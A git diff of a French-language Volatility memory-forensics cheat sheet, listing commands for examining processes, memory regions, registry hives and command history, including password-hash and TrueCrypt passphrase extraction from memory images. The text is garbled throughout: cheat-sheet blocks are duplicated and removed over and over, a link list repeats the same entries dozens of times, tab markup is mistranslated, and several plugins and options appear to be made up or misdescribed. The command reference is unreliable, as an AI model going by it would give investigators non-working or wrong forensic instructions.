` : dump d'une région mémoire (alternative) - -#### Analyse de la pile - -- `volatility -f --profile= stackstrings -p ` : recherche de chaînes de caractères dans la pile d'un processus -- `volatility -f --profile= stack -p ` : affichage de la pile d'un processus -- `volatility -f --profile= stack -p -o ` : affichage de la pile d'un processus à partir d'un offset donné -- `volatility -f --profile= stack -p -o --dump-dir=` : dump de la pile d'un processus à partir d'un offset donné - -#### Analyse de la heap - -- `volatility -f --profile= heaps` : liste des heaps -- `volatility -f --profile= heaps -p ` : liste des heaps d'un processus -- `volatility -f --profile= heap -p -D ` : dump de la heap d'un processus -- `volatility -f --profile= heap -p -o -D ` : dump de la heap d'un processus à partir d'un offset donné -- `volatility -f --profile= heap -p -o --dump-dir=` : dump de la heap d'un processus à partir d'un offset donné (alternative) - -#### Analyse de la mémoire partagée - -- `volatility -f --profile= shims -p ` : liste des shims d'un processus -- `volatility -f --profile= shims -p -s ` : informations sur un shim d'un processus pour une DLL donnée -- `volatility -f --profile= shims -p -s -D ` : dump de la mémoire partagée d'un shim d'un processus pour une DLL donnée -- `volatility -f --profile= shims -p -s -o -D ` : dump de la mémoire partagée d'un shim d'un processus pour une DLL donnée à partir d'un offset donné -- `volatility -f --profile= shims -p -s -o --dump-dir=` : dump de la mémoire partagée d'un shim d'un processus pour une DLL donnée à partir d'un offset donné (alternative) - -#### Analyse de la mémoire virtuelle - -- `volatility -f --profile= vadinfo` : informations sur les VADs -- `volatility -f --profile= vadtree` : arborescence des VADs -- `volatility -f --profile= vadwalk -p ` : arborescence des VADs d'un processus -- `volatility -f --profile= vadtree -p ` : arborescence des VADs d'un processus -- `volatility -f --profile= vadtree -p -o ` : arborescence des VADs d'un processus à partir d'un offset donné -- `volatility -f --profile= vadtree -p -o --dump-dir=` : dump de la mémoire virtuelle d'un processus à partir d'un offset donné -- `volatility -f --profile= vadtree -p -o --dump-dir= --dump-children` : dump de la mémoire virtuelle d'un processus à partir d'un offset donné et de ses enfants - -#### Analyse de la mémoire physique - -- `volatility -f --profile= physmap` : liste des pages physiques -- `volatility -f --profile= physmap -p ` : liste des pages physiques d'un processus -- `volatility -f --profile= physmap -p -o ` : liste des pages physiques d'un processus à partir d'un offset donné -- `volatility -f --profile= physmap -p -o --dump-dir=` : dump des pages physiques d'un processus à partir d'un offset donné -- `volatility -f --profile= physmap -p -o --dump-dir= --dump-children` : dump des pages physiques d'un processus à partir d'un offset donné et de ses enfants -{% endtab %} -{% endtabs %} ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility +{% tab title="vol2" %} -## Commandes de base +## Feuille de triche Volatility -### Analyse de l'image mémoire +### Commandes de base -```bash -volatility -f imageinfo -``` +- **volatility -f dump.mem imageinfo** : Informations sur l'image mémoire +- **volatility -f dump.mem pslist** : Liste des processus en cours d'exécution +- **volatility -f dump.mem pstree** : Affiche les processus sous forme d'arborescence +- **volatility -f dump.mem psscan** : Analyse les processus inactifs +- **volatility -f dump.mem dlllist -p PID** : Liste les DLL chargées par un processus +- **volatility -f dump.mem filescan** : Analyse les fichiers ouverts +- **volatility -f dump.mem cmdline -p PID** : Affiche la ligne de commande d'un processus +- **volatility -f dump.mem netscan** : Analyse les connexions réseau +- **volatility -f dump.mem connections** : Affiche les connexions réseau +- **volatility -f dump.mem malfind** : Recherche de code malveillant dans les processus +- **volatility -f dump.mem apihooks** : Recherche de hooks API dans les processus +- **volatility -f dump.mem ldrmodules** : Liste les modules chargés par les processus +- **volatility -f dump.mem modscan** : Analyse les modules noyau +- **volatility -f dump.mem shimcache** : Analyse la base de données ShimCache +- **volatility -f dump.mem userassist** : Analyse les entrées UserAssist +- **volatility -f dump.mem hivelist** : Liste les hives de registre +- **volatility -f dump.mem printkey -o OFFSET** : Affiche les valeurs d'une clé de registre +- **volatility -f dump.mem hashdump** : Extrait les hachages de mots de passe +- **volatility -f dump.mem truecryptpassphrase** : Extrait les passphrases TrueCrypt +- **volatility -f dump.mem clipboard** : Examine le contenu du presse-papiers +- **volatility -f dump.mem screenshot** : Prend une capture d'écran de l'écran mémoire +- **volatility -f dump.mem memdump -p PID -D /path/to/dump/** : Effectue un dump de la mémoire d'un processus +- **volatility -f dump.mem memdump -p PID -D /path/to/dump/ -r RANGE** : Effectue un dump de la mémoire d'un processus dans une plage spécifique +- **volatility -f dump.mem memmap** : Affiche la carte mémoire -```bash -volatility -f kdbgscan -``` +### Plugins supplémentaires -```bash -volatility -f kpcrscan -``` +- **volatility -f dump.mem timeliner** : Crée une timeline des activités du système +- **volatility -f dump.mem dumpregistry -o /path/to/dump/registry/** : Extrait la base de registre +- **volatility -f dump.mem dumpfiles -Q /path/to/output/directory/** : Extrait les fichiers du système +- **volatility -f dump.mem dumpfiles -Q /path/to/output/directory/ -r file** : Extrait un fichier spécifique +- **volatility -f dump.mem dumpfiles -Q /path/to/output/directory/ -S /path/to/search/directory/** : Extrait les fichiers correspondant à une liste de hachages +- **volatility -f dump.mem dumpfiles -Q /path/to/output/directory/ -Y /path/to/yara/rules/** : Extrait les fichiers correspondant à des règles YARA +- **volatility -f dump.mem yarascan -Y /path/to/yara/rules/** : Analyse la mémoire à l'aide de règles YARA +- **volatility -f dump.mem mftparser -o /path/to/output/directory/** : Extrait les entrées MFT +- **volatility -f dump.mem mftparser -o /path/to/output/directory/ -r file** : Extrait un fichier MFT spécifique +- **volatility -f dump.mem mftparser -o /path/to/output/directory/ -s /path/to/search/directory/** : Extrait les entrées MFT correspondant à une liste de hachages +- **volatility -f dump.mem mftparser -o /path/to/output/directory/ -Y /path/to/yara/rules/** : Extrait les entrées MFT correspondant à des règles YARA -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) +{% endtab %} ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` +{% endtab %} +{% endtabs %} + ### Ligne de commande -Quelque chose de suspect a-t-il été exécuté ? - -{% tabs %} -{% tab title="vol3" %} +Quelque chose de suspect a-t-il été exécuté? ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `dumpcerts` - -```bash -volatility -f dumpcerts -O -``` - -### Plugin `dumpcache` - -```bash -volatility -f dumpcache -D -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpregistryvalues` - -```bash -volatility -f dumpregistryvalues -o -D -``` - -### Plugin `dumpall` - -```bash -volatility -f dumpall -D -``` - -### Plugin `moddump` - -```bash -volatility -f moddump -D -``` - -### Plugin `modscan` - -```bash -volatility -f modscan -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `svcscan` - -```bash -volatility -f svcscan -``` - -### Plugin `printkey` - -```bash -volatility -f printkey -K -``` - -### Plugin `getsids` - -```bash -volatility -f getsids -``` - -### Plugin `userassist` - -```bash -volatility -f userassist -``` - -### Plugin `dumpcerts` - -```bash -volatility -f dumpcerts -O -``` - -### Plugin `dumpcache` - -```bash -volatility -f dumpcache -D -``` - -### Plugin `connscan` - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -### Plugin `sockets` - -```bash -volatility -f sockets -``` - -### Plugin `sockscan` - -```bash -volatility -f sockscan -``` - -### Plugin `filescan` - -```bash -volatility -f filescan -``` - -### Plugin `pslist` - -```bash -volatility -f pslist -``` - -### Plugin `psscan` - -```bash -volatility -f psscan -``` - -### Plugin `pstree` - -```bash -volatility -f pstree -``` - -### Plugin `dlllist` - -```bash -volatility -f dlllist -``` - -### Plugin `netscan` - -```bash -volatility -f netscan -``` - -### Plugin `procdump` - -```bash -volatility -f procdump -p -D -``` - -### Plugin `memdump` - -```bash -volatility -f memdump -p -D -``` - -### Plugin `malfind` - -```bash -volatility -f malfind -p -D -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) -- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/tehw0lf/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +{% tab title="vol2" %} + +## Feuille de triche Volatility + +### Commandes de base + +- **volatility -f dump.raw imageinfo** : Affiche des informations générales sur l'image mémoire. +- **volatility -f dump.raw pslist** : Liste les processus en cours d'exécution. +- **volatility -f dump.raw pstree** : Affiche les processus sous forme d'arborescence. +- **volatility -f dump.raw psscan** : Recherche les processus supprimés. +- **volatility -f dump.raw dlllist -p PID** : Liste les DLL chargées par un processus spécifique. +- **volatility -f dump.raw cmdline -p PID** : Affiche la ligne de commande d'un processus spécifique. +- **volatility -f dump.raw filescan** : Recherche les fichiers ouverts par les processus. +- **volatility -f dump.raw netscan** : Affiche les connexions réseau. +- **volatility -f dump.raw connections** : Affiche les connexions réseau avec les adresses IP et les ports. +- **volatility -f dump.raw malfind** : Recherche les injections de code malveillant. +- **volatility -f dump.raw timeliner** : Crée une timeline des activités du système. +- **volatility -f dump.raw hivelist** : Liste les hives de registre. +- **volatility -f dump.raw printkey -o OFFSET** : Affiche les valeurs d'une clé de registre. +- **volatility -f dump.raw userassist** : Affiche les éléments récemment ouverts par l'utilisateur. +- **volatility -f dump.raw shimcache** : Affiche les entrées de la cache de compatibilité des applications. + +### Plugins supplémentaires + +- **psxview** : Détecte les rootkits en comparant les listes de processus. +- **malfind** : Recherche les injections de code malveillant. +- **apihooks** : Détecte les hooks d'API. +- **ldrmodules** : Affiche les modules chargés par les processus. +- **svcscan** : Enumère les services. +- **driverirp** : Affiche les IRP des pilotes. +- **ssdt** : Affiche la table de services du noyau. +- **callbacks** : Affiche les callbacks du noyau. +- **gdt** : Affiche la table de descripteurs globaux. +- **idt** : Affiche la table des descripteurs d'interruption. +- **mutantscan** : Enumère les objets mutant. +- **getsids** : Affiche les SID des processus. +- **atomscan** : Enumère les atomes du système. +- **atomscan** : Enumère les atomes du système. +- **atomscan** : Enumère les atomes du système. + +{% endtab %} ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` {% endtab %} -{% tab title="vol3" lang="fr" %} +{% endtabs %} -Les commandes entrées dans cmd.exe sont traitées par **conhost.exe** (csrss.exe avant Windows 7). Donc même si un attaquant a réussi à **tuer cmd.exe** **avant** que nous obtenions un **dump de mémoire**, il y a encore de bonnes chances de **récupérer l'historique** de la session de ligne de commande à partir de la **mémoire de conhost.exe**. Si vous trouvez **quelque chose d'étrange** (en utilisant les modules de la console), essayez de **dump** la **mémoire** du **processus associé à conhost.exe** et **recherchez** des **chaînes de caractères** à l'intérieur pour extraire les lignes de commande. +Les commandes saisies dans cmd.exe sont traitées par **conhost.exe** (csrss.exe avant Windows 7). Donc même si un attaquant parvient à **arrêter de force cmd.exe** **avant** que nous obtenions un **dump de mémoire**, il y a encore de bonnes chances de **récupérer l'historique** de la session de ligne de commande à partir de la **mémoire de conhost.exe**. Si vous trouvez quelque chose de **bizarre** (en utilisant les modules de la console), essayez de **dump** la **mémoire** du processus associé à **conhost.exe** et **recherchez** des **chaînes de caractères** à l'intérieur pour extraire les lignes de commande. ### Environnement -Obtenez les variables d'environnement de chaque processus en cours d'exécution. Il peut y avoir des valeurs intéressantes. - -{% endtab %} -{% endtabs %} +Obtenez les variables d'environnement de chaque processus en cours d'exécution. Il pourrait y avoir des valeurs intéressantes. ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -pip install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Process Analysis - -#### pslist - -List running processes. - -```bash -volatility -f pslist -``` - -#### psscan - -Scan for processes. - -```bash -volatility -f psscan -``` - -#### pstree - -Display process tree. - -```bash -volatility -f pstree -``` - -#### dlllist - -List loaded DLLs. - -```bash -volatility -f dlllist -``` - -#### handles - -List open handles. - -```bash -volatility -f handles -``` - -#### cmdscan - -Scan for command history. - -```bash -volatility -f cmdscan -``` - -### Malware Analysis - -#### malfind - -Find hidden and injected code. - -```bash -volatility -f malfind -``` - -#### malprocfind - -Find hidden processes. - -```bash -volatility -f malprocfind -``` - -#### malfind - -Find hidden files. - -```bash -volatility -f malfind -``` - -### Memory Analysis - -#### memdump - -Dump process memory. - -```bash -volatility -f memdump -p -D -``` - -#### memmap - -Display memory map. - -```bash -volatility -f memmap -``` - -#### memstrings - -Extract printable strings. - -```bash -volatility -f memstrings -``` - -#### memimage - -Extract PE files. - -```bash -volatility -f memimage -``` - -#### memdump - -Dump kernel memory. - -```bash -volatility -f memdump -p 0 -D -``` - -### Network Analysis - -#### connscan - -List open connections. - -```bash -volatility -f connscan -``` - -#### sockets - -List open sockets. - -```bash -volatility -f sockets -``` - -#### netscan - -Scan for network connections. - -```bash -volatility -f netscan -``` - -### User Analysis - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hashdump - -Dump password hashes. - -```bash -volatility -f hashdump -s -u -``` - -#### userassist - -List userassist entries. - -```bash -volatility -f userassist -``` - -#### getsids - -List user SIDs. - -```bash -volatility -f getsids -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### envars - -List environment variables. - -```bash -volatility -f envars -``` - -### Windows Registry Analysis - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hivedump - -Dump registry hive. - -```bash -volatility -f hivedump -o -s -f -``` - -### Virtual Machine Analysis - -#### vboxinfo - -Display VirtualBox information. - -```bash -volatility -f vboxinfo -``` - -#### vboxsf - -List VirtualBox shared folders. - -```bash -volatility -f vboxsf -``` - -#### vmwareinfo - -Display VMware information. - -```bash -volatility -f vmwareinfo -``` - -#### vmpsaux - -List VMware process information. - -```bash -volatility -f vmpsaux -``` - -### Other Plugins - -#### apihooks - -List API hooks. - -```bash -volatility -f apihooks -``` - -#### callbacks - -List kernel callbacks. - -```bash -volatility -f callbacks -``` - -#### driverirp - -List driver IRPs. - -```bash -volatility -f driverirp -``` - -#### filescan - -Scan for files. - -```bash -volatility -f filescan -``` - -#### mutantscan - -Scan for mutant objects. - -```bash -volatility -f mutantscan -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### privs - -List process privileges. - -```bash -volatility -f privs -``` - -#### shimcache - -List ShimCache entries. - -```bash -volatility -f shimcache -``` - -#### ssdt - -List SSDT entries. - -```bash -volatility -f ssdt -``` - -#### thrdscan - -Scan for threads. - -```bash -volatility -f thrdscan -``` - -#### timers - -List kernel timers. - -```bash -volatility -f timers -``` - -#### vadinfo - -Display VAD information. - -```bash -volatility -f vadinfo -``` - -#### vadtree - -Display VAD tree. - -```bash -volatility -f vadtree -``` - -#### verinfo - -Display version information. - -```bash -volatility -f verinfo -``` - -#### windows - -List open windows. - -```bash -volatility -f windows -``` - -#### wintree - -Display window tree. - -```bash -volatility -f wintree -``` - -#### yarascan - -Scan for YARA signatures. - -```bash -volatility -f yarascan -Y -``` - -## References - -- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) +{% onglet title="vol2" %} ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables -volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated +volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` ### Privilèges de jetons @@ -2151,599 +398,7 @@ python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivile ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des registres - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -K -o -``` - -```bash -volatility -f hashdump -y -s -o --system --security --sam -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\ComputerName\ComputerName" -``` - -```bash -volatility -f printkey -K "ControlSet001\Services\Tcpip\Parameters" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\Console" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\LSA" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}" -``` - -```bash -volatility -f printkey -K "ControlSet001\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}" -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `moddump` - -```bash -volatility -f moddump -D -m -``` - -### Plugin `procdump` - -```bash -volatility -f procdump -p -D -``` - -### Plugin `memdump` - -```bash -volatility -f memdump -p -D -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `connscan` - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -### Plugin `sockets` - -```bash -volatility -f sockets -``` - -### Plugin `sockscan` - -```bash -volatility -f sockscan -``` - -### Plugin `printkey` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -K -o -``` - -### Plugin `hashdump` - -```bash -volatility -f hashdump -y -s -o --system --security --sam -``` - -### Plugin `hivelist` - -```bash -volatility -f hivelist -``` - -### Plugin `pslist` - -```bash -volatility -f pslist -``` - -### Plugin `psscan` - -```bash -volatility -f psscan -``` - -### Plugin `pstree` - -```bash -volatility -f pstree -``` - -### Plugin `dlllist` - -```bash -volatility -f dlllist -``` - -### Plugin `filescan` - -```bash -volatility -f filescan -``` - -### Plugin `netscan` - -```bash -volatility -f netscan -``` - -### Plugin `kdbgscan` - -```bash -volatility -f kdbgscan -``` - -### Plugin `kpcrscan` - -```bash -volatility -f kpcrscan -``` - -### Plugin `dumpcerts` - -```bash -volatility -f dumpcerts -D -``` - -### Plugin `dumpcache` - -```bash -volatility -f dumpcache -D -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpregistryhive` - -```bash -volatility -f dumpregistryhive -o -D -``` - -### Plugin `dumpvad` - -```bash -volatility -f dumpvad -D -``` - -### Plugin `dumpvadtree` - -```bash -volatility -f dumpvadtree -D -``` - -### Plugin `getsids` - -```bash -volatility -f getsids -``` - -### Plugin `hivedump` - -```bash -volatility -f hivedump -o -D -``` - -### Plugin `idt` - -```bash -volatility -f idt -``` - -### Plugin `iehistory` - -```bash -volatility -f iehistory -``` - -### Plugin `imagecopy` - -```bash -volatility -f imagecopy -O -S -E -``` - -### Plugin `imageinfo` - -```bash -volatility -f imageinfo -``` - -### Plugin `impscan` - -```bash -volatility -f impscan -``` - 